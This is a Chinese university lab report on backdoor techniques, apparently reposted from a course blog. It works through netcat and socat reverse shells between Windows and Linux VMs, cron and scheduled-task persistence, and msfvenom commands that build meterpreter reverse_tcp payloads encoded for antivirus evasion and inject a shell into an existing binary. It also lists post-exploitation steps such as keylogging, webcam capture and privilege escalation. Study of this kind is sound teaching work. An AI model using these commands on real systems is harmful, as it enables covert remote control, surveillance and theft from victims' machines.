2019-2020-2 20175313《网络对抗技术》Exp2 后门原理与实践

一、实验目标

  1. 熟悉后门的概念
  2. 使用netcat实现win,linux之间的后门连接
  3. 掌握meterpreter的应用
  4. 了解MSF POST 模块的应用
  5. 学会win,linux的后门启动方式

二、预备知识

后门概念

  • 所谓后门,就是不经过正常认证流程而访问系统的通道。
  • 后门宿主:

    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

后门工具

  • netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    详细资料参见:

    • http://nc110.sourceforge.net/
    • http://netcat.sourceforge.net/
  • soCat:Netcat++,超级netcat工具。
    任何代理、转发等功能都可以用该工具实现。
  • Meterpreter:msfvenom生成的后门可执行文件。

    • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
    • Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
    • 对于Meterpreter的基本功能可以通过help查询帮助菜单得到。

meterpreter的生成

root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b'\ x00'LHOST = 192.168.20.136 LPORT = 443 -f exe> KiTTy_backdoor.exe

  • 参数说明:

    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

三、实验内容

任务一:使用netcat实现windows,linux之间的后门连接

(1)Windows获取Linux Shell

  • Windows运行监听指令ncat.exe -l -p 5313
  • Linux反弹连接Windowsnc 192.168.184.132 5313 -e /bin/sh
  • 运行结果如下:


(2)Linux获取Windows Shell

  • Linux运行监听指令nc -l -p 5313
  • Windows反弹连接Linuxncat.exe 192.168.184.134 5313 -e cmd.exe
  • 运行结果如下:


任务一进阶版:使用netcat、socat实现windows,linux之间的后门连接,任务计划启动

(1)Windows获取Linux Shell(使用netcat,cron启动)

  • Windows运行监听指令ncat.exe -l -p 5313
  • Linux反弹连接,cron启动19 * * * * /bin/netcat 192.168.184.132 5313 -e /bin/sh
  • 运行结果如下:


(2)Linux获取Windows Shell(使用socat,计划任务启动)

  • Linux运行监听指令socat - tcp:192.168.184.132:5313
  • Windows反弹连接,设置任务计划启动
  • 运行结果如下:





任务二:生成后门程序,并注入被控端进行远程控制

  • 需求分析

    1. 后门程序meterpreter
    2. 将后门程序放到目标机中
    3. 使目标机运行后门程序且不被恶意代码检测程序和防火墙发现
    4. 攻击者连接后门程序
    5. 远程执行各种指令

  • 实验步骤

    • 生成后门程序meter_backdoor.exe
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.134 LPORT=5313 -f exe > meter_backdoor.exe
    • 将生成的后门程序meter_backdoor.exe拷贝到受控方
    • 在受控方Windows中使用ncat.exe -lv 5313 > meter_backdoor.exe查看连接状态
    • 在主控方kali中输入nc 192.168.184.132 5313 < meter_backdoor.exe
    • 主控方MSF打开监听进程
    • 受控方运行meter_backdoor.exe
    • 运行结果如下:
    • 主控方远程执行各种指令(使用help查询meterpreter用法)
    1. 获取目标主机shell
    2. 获取目标主机音频

    3. 获取目标主机摄像头

    4. 获取目标主机击键记录

    5. 把meterpreter HOOK到其他进程上
    6. 获取目标主机屏幕

    7. 提权

任务三:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 需求分析:

    1. shellcode从哪里来?
    2. 如何注入pwn1中?
    3. 如何建立连接?
  • 实验步骤:


需求1

  • msfvenom -h查看帮助,如下图:
  • msfvenom -l payload查看msf提供的shellcode,是否有满足要求的,如下图:
  • linux/x86/shell/reverse_tcp即为我们需要的shellcode.

需求2

msfvenom -p linux/x86/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f elf > pwn1


需求3

与任务2操作类似,只不过我这里为了方面直接将ip为192.168.184.134既作为主控方也作为被控方。这是就需要两个终端,一个终端进入到任务2的exploit监听等待,另一个终端./pwn1运行后门程序,即可建立连接。(本来想做win和linux的但是失败了,无法成功注入)


运行结果截图:


四、实验过程中遇到的问题

  • 问题1:ifconfig失败bash: ifconfig:未找到命令

  • 解决方法:

    1. sudo -i输入密码,进入管理员模式,ifconfig命令就可正常使用了。
    2. kali与linux指令有些差别,输入ip add即可。
  • 问题2:windows虚拟机开启摄像头失败Webcam_list:Operation failed:1411

  • 解决方法:

    • 打开cmd,输入services.msc,打开服务管理器。
    • 在服务列表中选中"VMware USB Arbitration Service",双击打开属性对话框,再选择"启动",启动VMware USB Arbitration Service服务。
    • 关闭VMware软件,并重新打开,启动一个虚拟机。点击"虚拟机"—>"可移动设备"—>"Realtek Integrated Webcam"—>"连接(断开与主机的连接)"即可成功开启虚拟机摄像头。

  • 问题3:使用getsystem提权失败

  • 解决方法:参考丁文韬同学博客,具体操作如下:



  • 问题4:使用msfvenom -p windows/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f exe > pwn.exe在Linux下可执行文件20175313pwn中注入有效载荷输出到Windows下的可执行文件pwn.exe失败。

  • 解决方法:尚未解决。
  • 问题5:对于msfvenom的一些使用方法无法通过help得到。

  • 解决方法:使用msfvenom -f?代替msfvenom --help-formats

五、实验思考

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    没有从官网上下载的软件,可能被绑定了后门,然后由于各种科目老师实验要求导致我下载了带有后门的软件,于是它进入了我的系统,轻而易举地监视着我的一举一动。(因为我经常要打开该软件,使得经常连接成功)

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    linux:通过 crontab -e修改任务计划表,插入启动指令。
    windows
    • 控制面板—>管理工具—>任务计划程序",新建任务计划。
    • 通过修改注册表,设置后门程序自启动。
    • 将后门程序与正常软件绑定,用户使用软件使启动。
  3. Meterpreter有哪些给你映像深刻的功能?

    • webcam_snap摄像头功能令我印象深刻,因为我花了大把的时间解决如何开启虚拟机摄像头的问题,最终才实现了该功能。
    • getsystem提权功能也令我印象深刻,为了实现该功能我也是找尽了各种资料。成功实现该功能后又不禁令人毛骨悚然。getsystem成功将主控方提权为被控方的管理员权限,这意味着被控方的一切都掌握在主控方手中了。
  4. 如何发现自己有系统有没有被安装后门?

    开启防火墙,开启杀毒软件,查看进程管理器、注册表自启动项、端口。

六、实验收获与感想

  • 在进行本次实验之前,老师上课讲了一部分,根据老师的描述让我觉得这次实验应该很容易就完成。但是,事实上我花费的时间比实验一的时间还要多。
  • 一方面,很多时间是由于自己不细心,敲错了指令,又很难找到问题所在,看着几乎一模一样的指令,为什么别人就成功了,自己就是无法成功了,于是怀疑是自己虚拟机的问题,于是开始渐渐地走上了"不归路"。最后,总是以再敲一遍指令告终。
  • 另一方面,"纸上得来终觉浅,绝知此事要躬行。"看到老师简简单单地成功了,其实中间遇到地各种各样地问题,没有自己亲手去实践,是永远领悟不出来的。
  • 于是乎,我的时间就一去不复返。晚上2点了...,该睡觉了。可是,我的实验还没做完。。。

七、参考资料

猜你喜欢

转载自www.cnblogs.com/xiannvyeye/p/12465619.html